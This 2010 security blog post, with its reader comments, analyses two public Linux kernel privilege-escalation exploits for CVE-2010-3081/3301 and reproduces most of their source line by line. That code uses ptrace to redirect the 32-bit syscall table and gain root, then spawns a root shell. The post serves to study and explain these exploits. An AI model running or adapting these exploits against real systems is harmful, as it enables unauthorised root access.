xorl %eax, %eax

CVE-2010-3081 & CVE-2010-3301: Linux kernel COMPAT Privilege Escalation

with 10 comments

Not so long ago Ben Hawkes reported these vulnerabilities. After a while he also posted two excellent posts discussing the vulnerabilities in detail which you can read here (part 1) and here (part 2). Since I’m not going to discuss the vulnerabilities please read hawkes’ posts if you don’t know what the bugs are.

prdelka’s linux-ia32.c:
The first public exploit that I am aware of for the CVE-2010-3301 vulnerability was prdelka’s which was released on 15 September 2010 which is the “linux-ia32.c“. This exploit was based on the old “linux-ia32-emul-exp.c” and here is what it does…

// ia32_sys_call_table address (/proc/kallsyms)
#define syscall_table 0xffffffff8155b018
#define offset        (1L << 32)
#define landing       (syscall_table + 8*offset)

unsigned short uid, gid;
unsigned long task_struct1;
unsigned long sp;

As you can see, prdelka uses a static address that was found using /proc/kallsyms and points to the ‘ia32_sys_call_table[]’ array. Then we move to the kernelmodecode() which is a simply x86-64 architecture code that will retrieve the ‘task_struct’ of our task and scan for our credentials in it in order to change them to 0 like this:

void kernelmodecode() {
	asm volatile ("movq %%rsp,%0; " : "=r" (sp));
	task_struct1 = sp & ~(8192 - 1);
	unsigned int *task_struct;
	task_struct = (unsigned int *)task_struct1;
	while (task_struct) {
		if (task_struct[0] == uid && task_struct[1] == uid &&
				task_struct[2] == uid && task_struct[3] == uid &&
				task_struct[4] == gid && task_struct[5] == gid &&
				task_struct[6] == gid && task_struct[7] == gid) {
			task_struct[0] = task_struct[1] =
			task_struct[2] = task_struct[3] =
			task_struct[4] = task_struct[5] =
			task_struct[6] = task_struct[7] = 0;
			break;
		}
		task_struct++;
	}
	return;
}

At last, there’s the main() function of the program which begins with the following code…

int main() {
	uid = getuid();
	gid = getgid();
        if((signed long)mmap((void*)(landing&~0xFFF), 4096,
                              PROT_READ|PROT_EXEC|PROT_WRITE,
                              MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,
                                0, 0) < 0) {
                perror("mmap");
                exit(-1);
        }

This will store our current ‘uid’ and ‘gid’ (which are later used to find our credentials in the kernelmodecode()) and then map the location that the controlled invalid pointer access will occur. The main exploitation code continues like this:

        *(long*)landing = (uint64_t)kernelmodecode;
	pid_t child;
        child = fork();
        if(child == 0) {
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                kill(getpid(), SIGSTOP);
                __asm__("int $0x80\n");
		setuid(0);
		setgid(0);
                execl("/bin/sh", "/bin/sh", NULL);

So, the mapped area are points to kernelmodecode()’s code and then a new process is spawned. Here, prdelka uses the ptrace(2) technique used in the 2007 exploit “linux-ia32-emul-exp.c” which utilizes ‘PTRACE_TRACEME’ to trap the system call and change the RAX register’s value. So, let’s move to the code and see what exactly happens.

        } else {
                wait(NULL);
                ptrace(PTRACE_SYSCALL, child, NULL, NULL);
                wait(NULL);
                ptrace(PTRACE_POKEUSER, child, offsetof(struct user, regs.orig_rax),
                        (void*)offset);
                ptrace(PTRACE_DETACH, child, NULL, NULL);
                wait(NULL);
        }
}

As you can read, it uses ‘PTRACE_SYSCALL’ to trace the next system call of the child process and using ‘PTRACE_POKEUSER’ it sets RAX to ‘offset’ which leads to setting RAX to the offset that the mapped kernelmodecode() function will be. Finally, he detaches from the traced process. Back to ‘child’ process we can see that it will use “int $0x80” which is the system call interrupt and it will jump to the entry of the ‘ia32_syscall_table[]’ pointed by RAX. Hopefully, this will point to kernelmodecode()’s code now and it’ll make our current credentials 0. Following, using setuid(2), setgid(2) and finally execl(3) we’ll get a new shell with root privileges.

Ben Hawkes’ robert_you_suck.c
The second public exploit was released by Ben Hawkes and you can find it here. It’s name is “robert_you_suck.c” and the code goes like this:

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

These are just some definitions that have nothing really important to discuss. The following routine is taken from spender’s exploits and it’s used to retrieve symbols using either /proc/kallsyms or /proc/ksyms. Since I’ve already explained how this works in previous posts I won’t re-write them. Here is the code:

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	int ret = 0, oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			return 0;
		oldstyle = 1;
	}

	while (ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		} else {
			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
					continue;
				}
				p = strrchr(sname, '_');
				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_') {
						p--;
					}
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf("resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);

	return 0;
}

The kernel mode code that will be executed is placed in kernelmodecode() routine and it uses commit_creds() and prepare_kernel_cred() to update our task’s credentials using Linux kernel’s API routines like this:

int kernelmodecode(void *file, void *vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

Now, docall() will initially obtain the addresses of the previous two kernel API functions.

static void docall(uint64_t *ptr, uint64_t size)
{
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
		printf("symbol table not available, aborting!\n");
		exit(1);
	}

	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
		printf("symbol table not available, aborting!\n");
		exit(1);
	}

Then map the location of the invalid pointer as you can read here:

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

	printf("mapping at %lx\n", tmp); 

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }

Fill the mapped space will kernelmodecode()’s address multiple times for reliability…

        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

At last, move the offset value to RAX register and make the interrupt to force the execution of kernelmodecode() function.

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");
 
        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", NULL);
        printf("no /bin/sh ??\n");
        exit(0);
}

And it will spawn a ‘/bin/sh’ :)
The main()’s code now it’s the common ptrace(2) technique…

int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;
 
        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }

Here you can read that by providing 3 arguments you force the exploit to make a call to docall(). This will be called if everything works as expected. The following parts of the code are the common ptrace(2) stuff. So…

        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }
 
        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }

These are the four arguments that will lead to the execution of docall() if RAX register is changed appropriately during the tracing. Next…

        for (;;) {
                if (wait(&status) != pid)
                        continue;
 
                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }
 
                if (!WIFSTOPPED(status))
                        continue;
 
                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                }
 
                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                	//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                }
 
                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }
 
                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }
 
        return 0;
}

Simply use ‘PTRACE_SYSCALL’ and ‘PTRACE_POKEUSER/PTRACE_PEEKUSER’ in an eternal loop until RAX is set to the correct value. Then make ‘set’ one and exit the loop. This will move us back to the process being traced that will invoke docall() and hopefully spawn a shell.
Continuing with the history of public exploits we move to probably the most interesting one…

Ac1dB1tch3z’s ABftw.c
First of all, this is a proof that this vulnerability was known to the underground scene for quite some time. Now, you can find the “ABftw.c” here. For two reasons I decided not to write about this despite that it’s now a public exploit. The reasons are:
1) It has a few script-kiddie protections.
2) It is a little bit obfuscated to make it harder to study.
So, by writing an analysis of this exploit code I’ll ruin both of these “features”.
Sorry :p

P.S.: If you have read ABftw.c and have any specific question regarding its operation I’ll try to answer it but I’ll not explain the entire code for the above reasons.

Written by xorl

October 6, 2010 at 03:36

Posted in bugs, linux

10 Responses

Subscribe to comments with RSS.

  1. hi xorl, I’m disappointed that you had to choose such a hideously malformed exploit (re: prdelka) to discuss.

    Still in the army?

    ret

    October 6, 2010 at 19:13

  2. I should start a blog about shit exploits, maybe that’ll raise the bar for code.

    ret

    October 6, 2010 at 19:13

  3. Do you need a co-pilot?

    ret

    October 6, 2010 at 19:14

  4. Heya ret. Regardless of its quality, prdelka’s code was the first public exploit for CVE-2010-3301. That’s why I’m writing about it.
    Yes, I’m still in the army but I have plenty of free time these days :)
    A co-pilot in what? Contact me via email to discuss this.
    Have fun dude!

    xorl

    October 6, 2010 at 20:03

  5. Can I take this to my blog?

    clnoe

    October 12, 2010 at 14:06

  6. @clnoe: You can take whatever you want from the posts this blog. After all, that’s why I’m making all these blog posts. :)

    xorl

    October 12, 2010 at 20:21

  7. @xorl: Thack you :)

    clnoe

    October 13, 2010 at 02:40

  8. I enjoyed reading this, ret instead of derogatory comments please instead fix the formatting and code to your liking and repost, be a hacker nit a little girl! Thanks in advance.

    prdelka

    October 14, 2010 at 22:12

  9. Hi, xorl!
    Could you suggest why robert_you_suck.c doesn’t work on pre2.6.29 debians? I know about cred structure, so I’ve just added printk() there to test it at first, but it doesn’t proceed to kernelmode() function at all.
    I’ve added debug info, and on Ubuntu 8.04 it goes like this:
    ./rob
    mapping at 3f80000000
    rax=0x000000000101
    poke’d RAX, now it’s 800000101
    UID 1000, EUID:1000 GID:1000, EGID:1000

    On Ubuntu 8.10:
    ./robert
    mapping at 3f80000000
    rax=0x000000000101
    poke’d RAX, now it’s 101
    rax=0x000000000101
    poke’d RAX, now it’s 101
    UID 1000, EUID:1000 GID:1000, EGID:1000

    x64 in both cases, of course, and in both cases there’s nothing in dmesg, so it doesn’t run kernelmode() with printk inside.
    So 2 questions, why in the 2nd case poking doesn’t set up rax to 0x800000101, and why in first case setting it doesn’t run kernelmode()?

    stig

    May 31, 2011 at 14:52

  10. First of all, the systems could have been patched since the fix was backported to earlier releases too.

    Now to your questions…

    1) The second case it normally sets rax to 0×000000000101 as the exploit should do. Check:

                    rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                    if (rax == 0x000000000101) {
                            if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
    

    2) The value of rax is invalid.

    xorl

    May 31, 2011 at 22:44


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s